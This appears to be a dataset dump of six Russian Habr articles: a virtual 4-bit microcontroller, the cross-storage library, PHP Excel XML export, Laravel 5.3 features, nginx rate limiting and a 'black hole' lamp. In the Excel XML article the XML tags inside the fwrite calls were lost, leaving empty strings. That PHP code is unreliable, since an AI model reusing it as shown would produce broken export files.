text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Виртуальный 4-битный микроконтроллер с программированием тремя кнопками и четырьмя переключателями
Предлагаемое устройство эмулирует на микроконтроллере ATmega4809 абстрактный 4-битный микроконтроллер с адресным пространством в 256 байт, который можно программировать тремя кнопками и четырьмя переключателями.
Адресное пространство поделено на 16 страниц по 16 инструкций в каждой. Длина инструкции составляет 8 бит, из которых четыре старших — команда, а четыре младших — данные:
Чтобы войти в режим программирования, необходимо, удерживая кнопку 2, нажать кнопку сброса, отпустить её, за ней отпустить кнопку 2. В режиме программирования последовательный перебор инструкций в ОЗУ производится кнопкой 2. При переходе к следующей инструкции светодиоды на долю секунды показывают текущий адрес. Кнопкой 1 можно внести изменения в команду и адрес в составе текущей инструкции. При переходе к новому адресу кнопкой 2 инструкция по предыдущему адресу заносится в ППЗУ. Набрав программу, нужно нажать кнопку сброса, и произойдёт переход из режима программирования в режим выполнения программы.
Перечень команд:
0x0 — загрузить постоянное значение в порт doutB
0x1 — то же, в порт doutA
0x2 — пауза
0x3 — относительный безусловный переход назад
0x4 — загрузить постоянное значение в переменную A
0x5 — загрузить что-либо со значением переменной A
0x6 — загрузить значение чего-либо в переменную A
0x7 — произвести арифметические и логические операции с переменной A (и B)
0x8 — установить старший полубайт адреса для инструкции абсолютного безусловного перехода
0x9 — произвести абсолютный безусловный переход на заданный адрес
0xA, 0xB — действует как цикл for: каждый раз, когда команда выполняется, если переменная C (или D) больше нуля, происходит абсолютный безусловный переход на заданный адрес, затем значение переменной C (или D) уменьшается
0xC — пропустить следующую инструкцию если аргумент равен логической единице
0xD — вызвать функцию по заданному адресу
0xE — вернуться из вызванной функции
0xF — задать адрес для виртуального 4-битного ОЗУ, сохранённое по этому адресу значение можно прочитать инструкцией 0x6E и записать инструкцией 0x50.
Пример 1 — мигалка:
```
Адрес Инструкция Комментарий
0 1f Включить все светодиоды на порту doutA
1 28 Пауза 500 мс
2 10 Выключить все светодиоды на порту doutB
3 28 Пауза 500 мс
4 34 Относительный безусловный переход на -4 ячейки
```
Пример 2 — двоичный счётчик:
```
Адрес Инструкция Комментарий
0 5B DoutB = A
1 59 PWM1 = A
2 71 A++
3 28 Пауза 500 мс
4 34 Относительный безусловный переход на -4 ячейки
```
Пример 3 — мигалка с регулируемой скоростью (с подпрограммой):
```
Адрес Инструкция Комментарий
Основной цикл:
0 10 DoutA = 0x0
1 d5 Вызов подпрограммы myWait
2 1f DoutA = 0xf
3 d5 Вызов подпрограммы myWait
4 34 Относительный безусловный переход на -4 ячейки
Подпрограмма myWait:
5 64 A = Din
6 52 C = A
7 25 Пауза 50 мс
8 a7 for(C > 0; C--) jmp 7
9 e0 Возврат
```
Схема:
Все необходимые для повторения файлы (плата, прошивка, и др.) — по ссылке на оригинал. Источником вдохновения для конструкции послужил близкий по возможностям немецкий [тренажёр TPS](http://elektronik-labor.de/Lernpakete/TPS/TPS0.html). | https://habr.com/ru/post/451670/ | null | ru | null |
# [Перевод] Cross-Storage: Сделайте локальные данные доступными между доменами
Как мы знаем [localStorage API](http://diveintohtml5.info/storage.html) имеет некоторые ограничения, которые, возможно, придется обходить при написании крупных приложений. Новая библиотека [cross-storage](https://github.com/zendesk/cross-storage)\* дает возможность меж-доменной поддержки *localStorage* с использованием полномочий. Данная библиотека так же включает в себя *Promise API* для стандарта *ES6*.
Cross-storage использует два компонента: хабы(hubs) и клиентов(clients). Хабы могут выставлять полномочия в зависимости от домена и это есть ничто иное как принудительное использование [принципа одинакового источника](http://en.wikipedia.org/wiki/Same-origin_policy). Указанная библиотека включает в себя такие типы доступа как чтение, запись, и удаление (`get, set, del`).
```
CrossStorageHub.init([
{ origin: /\.example.com$/, allow: ['get'] },
{ origin: /:(www\.)?example.com$/, allow: ['get', 'set', 'del'] }
]);
```
Клиент в свою очередь сможет получить доступ к хабу следующим образом:
```
var storage = new CrossStorageClient('https://store.example.com/hub.html');
storage.onConnect().then(function() {
// Set a key with a TTL of 90 seconds
return storage.set('newKey', 'foobar', 90000);
}).then(function() {
return storage.get('existingKey', 'newKey');
}).then(function(res) {
console.log(res.length); // 2
}).catch(function(err) {
// Handle error
});
```
Обратите внимание что метод `onConnect` возвращает promise которое выполняется когда соединение с хабом было установлено. Вы так же можете вызвать `storage.close` под конец соединения, который реализован с использованием `iframe`.
Даниель рекомендует использовать [полифил](http://en.wikipedia.org/wiki/Polyfill) [es6-promise](https://github.com/jakearchibald/es6-promise) для старых браузеров.
Проект использует *Gulp* для сборки клиентского кода и так же поставляется в комплекте с тестами на [zuul](https://github.com/defunctzombie/zuul).
##### Пометки
\* Библиотека cross-storage, лицензия: Apache 2.0, npm: [cross-storage](https://www.npmjs.org/package/cross-storage), bower: `cross-storage`, автор: Daniel St. Jules | https://habr.com/ru/post/236223/ | null | ru | null |
# Простой экспорт в Excel XML
При разработке системы электронного документооборота потребовалось реализовать функции для экспорта данных в популярных форматах. В частности, в формате Microsoft Excel. Требования к экспорту были довольно простые – экспортировать данные с минимумом форматирования, т.е. никаких объединенных ячеек, игр со шрифтами и т.п. Форматы экспорта XLSX и Excel XML.
В данном случае расскажу про [Excel XML](http://technet.microsoft.com/ru-ru/magazine/2006.01.blogtales(en-us).aspx).
Итак, в любой системе оперирующей табличными данными раной или поздно возникает потребность экспорта данных. Цели экспорта разные:
* передача данных в табличном виде
* анализ данных в соотв. системах
* построение диаграмм
* построение сводных таблиц и т.п.
Исходя из целей, напросился разумный вывод, что при экспорте данных надо постараться сохранить или указать тип данных в соответствующих колонках, чтобы приложение, которое открывает файл не пыталось применить форматирование по своему усмотрению. Говоря иначе, даты должны быть датами, числа – числами, строки – строками.
#### Задача
Технические требования сформулировал тривиально:
* Оформить экспортирующий механизм в виде автономного класса
* Реализовать в классе набор функций для записи значений ячеек и ряда
* Возможность работы с неограниченным объемом данных.
Оформить экспортирующий механизм в виде автономного класса — очевидное требование, выполнение которого позволит в будущем поделиться классом с другими разработчиками и использовать его в новых проектах.
Реализовать в классе набор функций для записи значений ячеек и ряда – основное требование, подразумевающее создание функций для записи значений ячеек указанных типов и возможность записи готового ряда в файл.
Возможность работы с неограниченным объемом данных – разумеется, сам класс экспорта отвечать за записываемый объем не сможет, но он должен предоставить функции для записи данных на диск и освобождения оперативной памяти для следующей порции данных.
Помимо описанных требований, понадобилось добавить сервисные функции:
* Включение [автофильтра](http://office.microsoft.com/ru-ru/excel-help/RZ001145981.aspx)
* Сжатия файла в [zip](http://help.ubuntu.ru/wiki/zip?s[]=zip).
#### Реализация
Прежде всего, при создании класса осуществляю проверку конечного имени файла и запрашиваю количество колонок и рядов. Файл должен иметь корректное имя, а папка, в которую он будет сохранен, должна существовать. Все как обычно.
Формат Excel XML позволяет сохранять в файле информацию о пользователе, который его создал, поэтому, при создании заголовка записываю название организации, информация о пользователе и дате создания файла.
```
public function writeDocumentProperties($organization = null, $user = null)
{
fwrite($this->file, '');
if (!is\_null($user))
{
fwrite($this->file, ''.$user->description.'');
fwrite($this->file, ''.$user->description.'');
}
$dt = new Datetime();
$dt\_string = $dt->format('Y-m-d\TH:i:s\Z');
fwrite($this->file, ''.$dt\_string.'');
fwrite($this->file, ''.$dt\_string.'');
if (!is\_null($organization))
fwrite($this->file, ''.$organization->name.'');
fwrite($this->file, '12.00');
fwrite($this->file, '');
}
```
Правда, именно в этой функции используются сущности системы документооборота — organization (организация) и user (пользователь). Заменить эти сущности на, скажем, строковые значения, не проблема.
Наиболее интересной в заголовке является информация о стилях. В формате Excel XML они реализованы очень удобно, поэтому просто создаю таблицу со стилями для строк, даты/времени и гиперссылки.
```
public function writeStyles()
{
fwrite($this->file, '');
//default style
fwrite($this->file, '<Font ss:Color="#000000"/>');
//Datetime style
fwrite($this->file, '<NumberFormat ss:Format="General Date"/>');
fwrite($this->file, '<NumberFormat ss:Format="Short Date"/>');
fwrite($this->file, '<NumberFormat ss:Format="h:mm:ss"/>');
//Hyperlink style
fwrite($this->file, '<Font ss:Color="#0000FF" ss:Underline="Single"/>');
//Bold
fwrite($this->file, '<Font ss:Bold="1"/>');
fwrite($this->file, '');
}
```
Подготовительные работы закончил, можно переходить к записи данных. Открытие рабочего листа – это всего пара тэгов, как раз в этот момент используется информация о количестве колонок и рядов.
```
public function openWorksheet()
{
fwrite($this->file, '');
fwrite($this->file, strtr('
', array('{col\_count}'=>$this->colCount, '{row\_count}'=>$this->rowCount)));
}
```
Но вот запись рядов – процесс поинтереснее. Класс должен работать быстро и обрабатывать неограниченный объем данных, ведь записей может быть тысяч сто или даже миллион! Хочешь скорости – работай с памятью, хочешь неограниченный объем данных – работай с диском. Чтобы помирить требования, реализовал функции resetRow и flushRow.
Первая – очищает текущий ряд, после чего его снова можно наполнять данными, а вторая – записывает текущий ряд в открытый файл на диск. Их совместное использование позволяет выдерживать баланс между скоростью и объемом используемой памяти.
```
public function resetRow()
{
$this->currentRow = array();
}
public function flushRow()
{
fwrite($this->file, implode('', $this->currentRow));
unset($this->currentRow);
}
```
Каждая ячейка записывается функцией соответствующей типу данных, а именно appendCellxxx, где xxx – тип данных. Допустимые типы данных: Num, String, Real, DateTime, Date, Time, Link. Пример функции для записи числового значения:
```
public function appendCellNum($value)
{
$this->currentRow[] = ''.$value.'';
}
```
После записи всех данных остается закрыть рабочий лист и рабочую книгу.
#### Применение
Использование описанного класса основано на экспорте данных с помощью провайдера [CArrayDataProvider](http://www.yiiframework.com/doc/api/1.1/CArrayDataProvider). Однако, предполагая, что объем экспортируемых данных может оказаться очень большим применен специальный итератор [CDataProviderIterator](http://www.yiiframework.com/doc/api/1.1/CDataProviderIterator), который перебирает возвращаемые данные по 100 записей (можно указать иное число записей).
```
public function exportExcelXML($organization, $user, &$filename)
{
$this->_provider = new CArrayDataProvider(/*query*/);
Yii::import('ext.AlxdExportExcelXML.AlxdExportExcelXML');
$export = new AlxdExportExcelXML($filename, count($this->_attributes), $this->_provider->getTotalItemCount() + 1);
$export->openWriter();
$export->openWorkbook();
$export->writeDocumentProperties($organization, $user);
$export->writeStyles();
$export->openWorksheet();
//title row
$export->resetRow();
$export->openRow(true);
foreach ($this->_attributes as $code => $format)
$export->appendCellString($this->_objectref->getAttributeLabel($code));
$export->closeRow();
$export->flushRow();
//data rows
$rows = new CDataProviderIterator($this->_provider, 100);
foreach ($rows as $row)
{
$export->resetRow();
$export->openRow();
foreach ($this->_attributes as $code => $format)
{
switch ($format->type)
{
case 'Num':
$export->appendCellNum($row[$code]);
/*other types*/
default:
$export->appendCellString('');
}
}
$export->closeRow();
$export->flushRow();
}
//close all
$export->closeWorksheet();
$export->closeWorkbook();
$export->closeWriter();
//zip file
$export->zip();
$filename = $export->getZipFullFileName();
}
```
В моем случае, каждый ряд записывается на диск, что, пока, является вполне приемлемым, но в будущем, возможно, потребует изменений. Например, будет разумно сохранять не каждый ряд, а каждый десяток или даже сотню рядов за раз. Тогда скорость экспорта увеличится.
#### Скорость
Кстати, на собственном опыте убедился, как важно предполагать возможность существования больших объемов данных при пакетной операции, такой как экспорт.
Изначально, пытался осуществлять экспорт данных используя [CActiveDataProvider](http://www.yiiframework.com/doc/api/1.1/CActiveDataProvider), что требовало при экспорте 1000 записей порядка 240 секунд! Изменив запрос так, чтобы использовать [CArrayDataProvider](http://www.yiiframework.com/doc/api/1.1/CArrayDataProvider) сократил время экспорта 1000 записей до 0.5 секунды!
Специально для этой публикации замерил показатели экспорта.
Экспортировал **1626** записей с **9** атрибутами, представляющих собой информацию о закрытых инцидентах (см. [ITSM](http://en.wikipedia.org/wiki/Incident_management_(ITSM))).
##### Исходный вид экспортируемой таблицы
(извините, картинка исчезает после публикации)
##### Результат
(извините, картинка исчезает после публикации)
##### Показатели экспорта
Объем конечного файла: **1 312 269**
Объем сжатого файла: **141 762**
Затраченное время: примерно **0.5** сек
Кому интересно, может получить исходный код моего класса [AlxdExportExcelXML](https://github.com/Alxdhere/AlxdExportExcelXML) безвозмездно. Только надо не забыть поправить функцию *writeDocumentProperties*, чтобы отвязаться от сущностей системы документооборота organization и user, или использовать свои аналогичные сущности с соответствующими свойствами. | https://habr.com/ru/post/235973/ | null | ru | null |
# Вышел релиз Laravel 5.3
Команда Laravel с гордостью объявляет о релизе Laravel 5.3, доступной для всех. Новые возможности версии 5.3 направлены на улучшение скорости разработчика за счет добавления и улучшения функций «из коробки».
Этот релиз будет получать общие обновления в течение шести месяцев, и обновления безопасности в течение одного года. Laravel 5.1 является последней версией LTS, включающей исправления ошибок в течение двух лет, и исправления безопасности в течение трех лет.
Ниже краткий обзор некоторых основных моментов новой 5.3 версии.
#### **Новая домашняя страница**
[Домашняя страница](https://laravel.com/) получила новый интерфейс, демонстрирующий новые пакеты и ресурсы сообщества, включая ссылки на Laracast, Laravel News и Statamic.
#### **Laravel Scout**
Laravel Scout является новым драйвером, основанным на полнотекстовом поиске в Eloquent. Scout работает путем добавления новой возможности поиска к моделям, синхронизируя свои данные с индексом выбора, после чего можно легко найти нужное:
```
Post::search('Alice')->get();
```
#### **Laravel Passport**
[Laravel Passport](https://laravel-news.com/2016/08/laravel-passport/) разработан, чтобы предоставить Вам все необходимое для разворачивания собственного сервера аутентификации oAuth 2.0 в считанные минуты. Этот пакет не обязателен, хоть и идет «в коробке» с возможностью легкого его подключения, использующий Vue.js для генерации токена, отмены токена и всего прочего.
#### **Laravel Mailable and Notifications**
[Laravel Mailable](https://laravel-news.com/2016/08/laravel-mailable-the-new-and-improved-way-to-send-email-in-laravel/) является новым базовым классом, ориентированным для упрощения отправки email-сообщений, исключая необходимость закрытия стилей.
[Laravel Notifications](https://laravel-news.com/2016/08/laravel-notifications-easily-send-quick-updates-through-slack-sms-email-and-more/) позволяют отправлять быстрые сообщения через такие сервисы, как Slack, Text messages, Email и другие. Мы даже запустили канал "[Laravel Notifications Channel](http://laravel-notification-channels.com/)", содержащий уже более 26 драйверов, а также любой желающий может добавить свой драйвер.
#### **Laravel Echo**
Laravel Echo является усовершенствованной существующей системой вещания событий, что позволяет легче работать с веб-сокетами. Бэкенд Echo поставляется с ядром Laravel, для использования которого Вам нужно будет подключить его через NPM менеджер для работы на стороне JavaScript.
#### **Миграции**
Система миграций получила новую функцию, позволяющую произвести откат сразу на несколько шагов.
```
php artisan migrate:rollback --step=1
```
Раннее эта опция отсутствовала, и для отката нескольких шагов, необходимо было каждый раз вводить команду.
#### **Простая пагинация**
Laravel предлагает два стиля пагинации. Расширенный стиль показывает список номеров страниц, и простой стиль, отображающий лишь ссылки для показа предыдущей и следующей страниц.
Начиная с этого релиза, простая пагинация будет иметь отдельный файл шаблона для более удобной настройки под дизайн Вашего проекта путем изменения структуры HTML.
#### **Переменная Loop в Blade**
Laravel Blade получил новую переменную `$loop`, предоставляющую более точный контроль в пределах цикла. Теперь Вы можете использовать следующие свойства:
1. **index** — номер цикла.
2. **remaining** — как много циклов осталось.
3. **count** — общее количество циклов.
4. **first** — если это первая итерация цикла.
5. **last** — если это последняя итерация цикла.
6. **depth** — сколько уровней глубины цикла.
7. **parent** — позволяет вызывать родителя во вложенном цикле.
Более подробно о переменной читайте в блоге [Мэта Стауфера](https://mattstauffer.co/blog/the-new-loop-variable-in-laravel-5-3).
#### **Изменение структуры**
Упрощена папка `app`, удалив все пустые папки `Events`, `Jobs`, `Listeners` и `Policies`. При использовании artisan команды `make:` все необходимые файлы и папки будут созданы автоматически.
#### **Очередь заданий**
Eloquent Collections теперь аккуратно сериализованы и повторно добавлены в очереди таким же образом, как и отдельные модели.
Это полезно в тех случаях, когда данные в Eloquent Collections изменились с момента добавления в очередь.
#### **Конструктор запросов**
Конструктор запросов теперь по-умолчанию будет возвращать коллекцию вместо массива. Это потенциально критическое изменение, зато теперь он будет держать результаты или из конструктора запросов, или форме Eloquent.
#### **Хелпер кэша**
Laravel 5.3 включет в себя новый глобальный хелпер `cache()`, позволяющий получить, изменить или вернуть данные. Для получения дополнительной информации, прочтите пост [Мэта](https://mattstauffer.co/blog/the-new-cache-global-helper-in-laravel-5-3).
#### **Изменение документации**
Для этого выпуска раздел документации претерпел значительные изменения. Теперь он лучше разделен на блоки, проводящие Вас от установки Laravel до использования официальных пакетов. Она также содержит ссылки на соответствующие теме видео с Laravast. Это позволит удовлетворить потребности людей как предпочитающих аудио-видео обучения, так и любящих читать.
#### **Инструкция по апгрейду**
Официальная документация имеет [руководство по апгрейду](https://laravel.com/docs/master/upgrade), включающее в себя всю необходимую информацию для начала использования Laravel 5.3 уже сегодня. Ориентировочно, апгрейд займет 2-3 часа.
**UPD:** Также можно прочесть [русифицированную](https://laravel-news.ru/blog/tutorials/laravel-upgrade-guide-5.3.0) документацию по апгрейду с Laravel 5.2 на 5.3.
#### **Спасибо**
Я бы хотел лично поблагодарить всех тех, кто [способствовал](https://github.com/laravel/framework/graphs/contributors) выходу этой версии. Добавление новых возможностей было огромной задачей и все, кто помогал в этом, заслужили дружеских объятий.
Присоединяйтесь к [еженедельной новостной рассылке](https://laravel-news.com/newsletter), чтобы быть в курсе всех новых возможностей, советов и обучающих программ, которые обязательно будут. Кроме того, [Laracast](https://laracasts.com/series/whats-new-in-laravel-5-3), как и [Мэтт Стауфер](https://mattstauffer.co/blog/series/new-features-in-laravel-5-3), предоставляет бесплатную информацию о всех новых фишках.
##### **От переводчика**
Также Вы можете прочесть [русифицированную](https://laravel-news.ru/blog/tutorials/laravel-upgrade-guide-5.3.0) версию документации по апгрейду Laravel с версии 5.2 на 5.3, любезно предоставленную [Rencom](https://habrahabr.ru/users/rencom/). | https://habr.com/ru/post/308380/ | null | ru | null |
# Ограничение скорости обработки запросов в nginx
*Фотография пользователя Wonderlane, [Flickr](https://www.flickr.com/photos/wonderlane/5516928454/)*
NGINX великолепен! Вот только его [документация](http://nginx.org/ru/docs/http/ngx_http_limit_req_module.html) по ограничению скорости обработки запросов показалась мне, как бы это сказать, несколько ограниченной. Поэтому я решил написать это руководство по ограничению скорости обработки запросов (rate-liming) и шейпингу трафика (traffic shaping) в NGINX.
Мы собираемся:
* описать директивы NGINX,
* разобраться с accept/reject-логикой NGINX,
* визуализировать обработку всплесков трафика на различных настройках.
В дополнение я создал [GitHub-репозиторий](https://github.com/sportebois/nginx-rate-limit-sandbox) и [Docker-образ](https://hub.docker.com/r/sportebois/nginx-rate-limit-sandbox/), с которыми можно поэкспериментировать и воспроизвести приведенные в этой статье тесты. Всегда легче учиться на практике.
Директивы NGINX по ограничению скорости обработки запросов
----------------------------------------------------------
В этой статье мы будем говорить о [ngx\_http\_limit\_req\_module](https://nginx.org/en/docs/http/ngx_http_limit_req_module.html), в котором реализованы директивы `limit_req_zone`, `limit_req`, `limit_req_status` и `limit_req_level`. Они позволяют управлять значением кода состояния HTTP-запроса для отклоненных (rejected) запросов, а также логированием этих отказов.
Чаще всего путаются именно в логике отклонения запроса.
Сначала нужно разобраться с директивой `limit_req`, которой требуется параметр `zone`. У него также есть **необязательные** параметры `burst` и `nodelay`.
Здесь используются следующие концепции:
* `zone` определяет «ведро» (bucket) — разделяемое пространство, в котором считаются входящие запросы. Все запросы, попавшие в одно «ведро», будут посчитаны и обработаны в его разрезе. Этим достигается возможность установки ограничений на основе URL, IP-адресов и т. д.
* `burst` — необязательный параметр. Будучи установленным, он определяет количество запросов, которое может быть обработано сверх установленного базового ограничения скорости. Важно понимать, что *`burst` — это абсолютная величина количества запросов, а не скорость*.
* `nodelay` — также необязательный параметр, который используется совместно с `burst`. Ниже мы разберемся, зачем он нужен.
Каким образом NGINX принимает решение о принятии или отклонении запроса?
------------------------------------------------------------------------
При настройке зоны задается ее скорость. Например, при `300r/m` будет принято 300 запросов в минуту, а при `5r/s` — 5 запросов в секунду.
Примеры директив:
* `limit_req_zone $request_uri zone=zone1:10m rate=300r/m;`
* `limit_req_zone $request_uri zone=zone2:10m rate=5/s;`
Важно понимать, что эти две зоны имеют одинаковые лимиты. С помощью параметра `rate` NGINX рассчитывает частоту и, соответственно, интервал, после которого можно принять новый запрос. В данном случае NGINX будет использовать алгоритм под названием «дырявое ведро» (leaky bucket).
Для NGINX `300r/m` и `5r/s` одинаковы: он будет пропускать один запрос каждые 0,2 с. В данном случае NGINX каждые 0,2 секунды будет устанавливать флаг, разрешающий прием запроса. Когда приходит подходящий для этой зоны запрос, NGINX снимает флаг и обрабатывает запрос. Если приходит очередной запрос, а таймер, считающий время между пакетами, еще не сработал, запрос будет отклонен с кодом состояния 503. Если время истекло, а флаг уже установлен в разрешающее прием значение, никаких действий выполнено не будет.
Нужны ли ограничение скорости обработки запросов и шейпинг трафика?
-------------------------------------------------------------------
Поговорим о параметре `burst`. Представьте, что флаг, о котором мы говорили выше, может принимать значения больше единицы. В этом случае он будет отражать максимальное количество запросов, которые NGINX должен пропустить в рамках одной пачки (burst).
Теперь это уже не «дырявое ведро», «маркерная корзина» (token bucket). Параметр `rate` определяет временной интервал между запросами, но мы имеем дело не с токеном типа true/false, а со счетчиком от `0` до `1 + burst`. Счетчик увеличивается каждый раз, когда проходит рассчитанный интервал времени (срабатывает таймер), достигая максимального значения в `b+1`. Напомню еще раз: `burst` — это количество запросов, а не скорость их пропускания.
Когда приходит новый запрос, NGINX проверяет доступность токена (счетчик > 0). Если токен недоступен, запрос отклоняется. В противном случае запрос принимается и будет обработан, а токен считается израсходованным (счетчик уменьшается на один).
Хорошо, если есть неизрасходованные burst-токены, NGINX примет запрос. *Но когда он его обработает?*
Мы установили лимит в 5r/s, при этом NGINX примет запросы сверх нормы, если есть доступные burst-токены, но отложит их обработку таким образом, чтобы выдержать установленную скорость. То есть **эти burst-запросы будут обработаны с некоторой задержкой** или завершатся по таймауту.
Другими словами, NGINX не превысит установленный для зоны лимит, а поставит дополнительные запросы в очередь и обработает их с некоторой задержкой.
Приведем простой пример: скажем, у нас установлен лимит `1r/s` и `burst` равен `3`. Что будет, если NGINX получит сразу 5 запросов?
* Первый будет принят и обработан.
* Поскольку разрешено не больше 1+3, один запрос будет сразу отклонен с кодом состояния 503.
* Три оставшихся будут обработаны один за другим, но не мгновенно. NGINX пропустит их со скоростью `1r/s`, оставаясь в рамках установленного лимита, а также при условии, что не будут поступать новые запросы, которые также используют квоту. Когда очередь опустеет, счетчик пачки (burst counter) снова начнет увеличиваться (маркерная корзина начнет наполняться).
В случае использования NGINX в качестве прокси-сервера расположенные за ним сервисы будут получать запросы со скоростью `1r/s` и ничего не узнают о всплесках трафика, сглаженных прокси-сервером.
Итак, мы только что настроили шейпинг трафика, применив задержки для управления всплесками запросов и выравнивания потока данных.
### nodelay
`nodelay` говорит NGINX, что он должен принимать пакеты в рамках окна, определенного значением `burst`, и сразу их обрабатывать (так же как и обычные запросы).
В результате всплески трафика все же будут достигать сервисов, расположенных за NGINX, но эти всплески будут ограничены значением `burst`.
Визуализация ограничений скорости обработки запросов
----------------------------------------------------
Поскольку я верю, что практика очень помогает в запоминании чего бы то ни было, я сделал небольшой Docker-образ с NGINX на борту. Там настроены ресурсы, для которых реализованы различные варианты ограничения скорости обработки запросов: с базовым ограничением, с ограничением скорости, использующим `burst`, а также с `burst` и `nodelay`. Давайте посмотрим, как они работают.
Здесь используется довольно простая конфигурация NGINX (она также есть в Docker-образе, ссылку на который можно найти в конце статьи):
```
limit_req_zone $request_uri zone=by_uri:10m rate=30r/m;
server {
listen 80;
location /by-uri/burst0 {
limit_req zone=by_uri;
try_files $uri /index.html;
}
location /by-uri/burst5 {
limit_req zone=by_uri burst=5;
try_files $uri /index.html;
}
location /by-uri/burst5_nodelay {
limit_req zone=by_uri burst=5 nodelay;
try_files $uri /index.html;
}
}
```
*Тестовая конфигурация NGINX с различными вариантами ограничения скорости обработки запросов*
Во всех тестах, используя эту конфигурацию, мы отправляем одновременно по 10 параллельных запросов.
Давайте выясним вот что:
* сколько запросов будет отклонено из-за ограничения скорости?
* какова скорость обработки принятых запросов?
### Делаем 10 параллельных запросов к ресурсу с ограничением скорости обработки запросов
*10 одновременных запросов к ресурсу с ограничением скорости обработки запросов*
В нашей конфигурации разрешено 30 запросов в минуту. Но в данном случае 9 из 10 будут отклонены. Если вы внимательно читали предыдущие разделы, такое поведение NGINX не станет для вас неожиданностью: `30r/m` значит, что проходить будет только один запрос в 2 секунды. В нашем примере 10 запросов приходят одновременно, один пропускается, а остальные девять отклоняются, поскольку NGINX они видны до того, как сработает таймер, разрешающий следующий запрос.
### Я переживу небольшие всплески запросов к клиентам/конечным точкам
Хорошо! Тогда добавим аргумент `burst=5`, который позволит NGINX пропускать небольшие всплески запросов к данной конечной точке зоны с ограничением скорости обработки запросов:
*10 одновременных запросов к ресурсу с аргументом burst=5*
Что здесь произошло? Как и следовало ожидать, с аргументом `burst` было принято 5 дополнительных запросов, и мы улучшили отношение принятых запросов к общему их числу с 1/10 до 6/10 (остальные были отклонены). Здесь хорошо видно, как NGINX обновляет токен и обрабатывает принятые запросы — исходящая скорость ограничена `30r/m`, что равняется одному запросу каждые 2 секунды.
Ответ на первый запрос возвращается через 0,2 секунды. Таймер срабатывает через 2 секунды, один из ожидающих запросов обрабатывается, и клиенту приходит ответ. Общее время, затраченное на дорогу туда и обратно, составило 2,02 секунды. Спустя еще 2 секунды снова срабатывает таймер, давая возможность обработать очередной запрос, который возвращается с общим временем в пути, равным 4,02 секунды. И так далее и тому подобное…
Таким образом, аргумент `burst` позволяет превратить систему ограничения скорости обработки запросов NGINX из простого порогового фильтра в шейпер трафика.
### Мой сервер выдержит дополнительную нагрузку, но я бы хотел использовать ограничение скорости обработки запросов для предотвращения его перегрузки
В этом случае может оказаться полезным аргумент `nodelay`. Давайте пошлем те же самые 10 запросов конечной точке с настройкой `burst=5 nodelay`:
*10 одновременных запросов к ресурсу с аргументом burst=5 nodelay*
Как и ожидалось с `burst=5`, у нас останется такое же соотношение 200-х и 503-х кодов состояния. Но исходящая скорость теперь не ограничена одним запросом каждые 2 секунды. Пока доступны burst-токены, входящие запросы будут приниматься и тут же обрабатываться. Скорость срабатывания таймера все так же важна с точки зрения пополнения количества burst-токенов, но на принятые запросы задержка теперь не распространяется.
Замечание. В данном случае `zone` использует `$request_uri`, но все последующие тесты работают точно так же и для опции `binary_remote_addr`, при которой скорость ограничивается по IP-адресу клиента. У вас будет возможность поиграть с этими настройками, используя специально для этого подготовленный Docker-образ.
Подведем итоги
--------------
Попробуем визуализировать то, как NGINX принимает входящие запросы и обрабатывает их на основе параметров `rate`, `burst` и `nodelay`.
Чтобы не усложнять, отобразим количество входящих запросов (которые потом отклоняются либо принимаются и обрабатываются) на определяемой в настройках зоны временной шкале, разбитой на равные значению срабатывания таймера отрезки. Абсолютное значение временного интервала не существенно. Важно количество запросов, которое NGINX может обработать на каждом шаге.
Вот трафик, который мы будем прогонять через разные настройки ограничения скорости обработки запросов:
*Входящие запросы и ограничение скорости обработки запросов, заданное для зоны*
*Принятые и отклоненные запросы (настройка burst не задана)*
Без *burst* (то есть при `burst=0`) NGINX выполняет функцию ограничителя скорости. Запросы либо сразу обрабатываются, либо сразу отклоняются.
Если же мы хотим разрешить небольшие всплески трафика, например, чтобы дозагрузить мощности в рамках установленного лимита, тогда можно добавить аргумент `burst`, который подразумевает задержку при обработке запросов, принятых в рамках доступных burst-токенов:
*Принятые, принятые с задержкой и отклоненные запросы (с использованием burst)*
Мы видим, что общее число отклоненных запросов уменьшилось. Были отклонены только те превышающие установленную скорость запросы, которые пришли в моменты, когда не было доступных burst-токенов. С такими настройками NGINX выполняет полноценный шейпинг трафика.
Наконец, NGINX можно использовать для управления трафиком путем ограничения размера пачки запросов (burst), но при этом всплески запросов частично будут доходить до их обработчиков (вышестоящих или локальных), что в конечном счете приведет к менее стабильной исходящей скорости, но улучшит сетевую задержку (если вы, конечно, можете обработать эти дополнительные запросы):
*Принятые, обработанные и отклоненные запросы (burst используется с nodelay)*
Поиграйте с ограничением скорости обработки запросов
----------------------------------------------------
Теперь, чтобы лучше закрепить понимание изложенных концепций, вы можете изучить код, скопировать репозиторий и поэкспериментировать с подготовленным Docker-образом:
<https://github.com/sportebois/nginx-rate-limit-sandbox>.
Ссылки:
1. Оригинал: [NGINX rate-limiting in a nutshell](https://medium.freecodecamp.com/nginx-rate-limiting-in-a-nutshell-128fe9e0126c). | https://habr.com/ru/post/329876/ | null | ru | null |
# Светильник «чёрная дыра»
Предлагаю вашему вниманию светильник, одновременно являющийся наглядным пособием «чёрная дыра в двумерном пространстве».
Общая теория относительности Эйнштейна гласит, что предметы с массой искажают ткань пространства-времени. Чёрные дыры — точки настолько огромной плотности, что пространство-время в них искажаются в достаточной мере, чтобы наружу не могли выбраться ни излучение, ни вещество.
Для воссоздания этого явления я взял кусок чёрного эластана, чтобы он имитировал «ткань пространства-времени», а вокруг него разместил «горизонт событий» — кольцо из белых светодиодов; стóит ещё чуть приблизиться к «чёрной дыре» — и свет наружу не выйдет. Чем дольше вы держите светильник включённым, тем больше разрастается чёрная дыра, вбирая в себя вещество и энергию. В нашей модели для имитации этого эластан натягивает плетёная леска, пропущенная через медную трубу и приводимая в движение расположенным в основании электродвигателем. Регулятор яркости одновременно влияет на скорость натяжения: чем больше света и вещества попадает в чёрную дыру за единицу времени, тем быстрее она растёт, и наоборот. Если светильник выключить, двигатель вращается в обратную сторону, ослабляя натяжение, что является аналогом испарения чёрной дыры за счёт излучения Хокинга.
**GIF ~11 МБ**
Полезно ли такое художественное представление чёрной дыры кинетической скульптурой с примитивной механикой? Наверное, да, в той же степени, что и комикс «Тим и Бит» про человечков в компьютере. Или моделирование любых физических явлений схемами на операционных усилителях. Хотите более серьёзного, хотя и тоже упрощённого рассказа о чёрных дырах — вот вам [это видео](https://youtube.com/watch?v=e-P5IFTqB98) на YouTube-канале «Короче говоря».
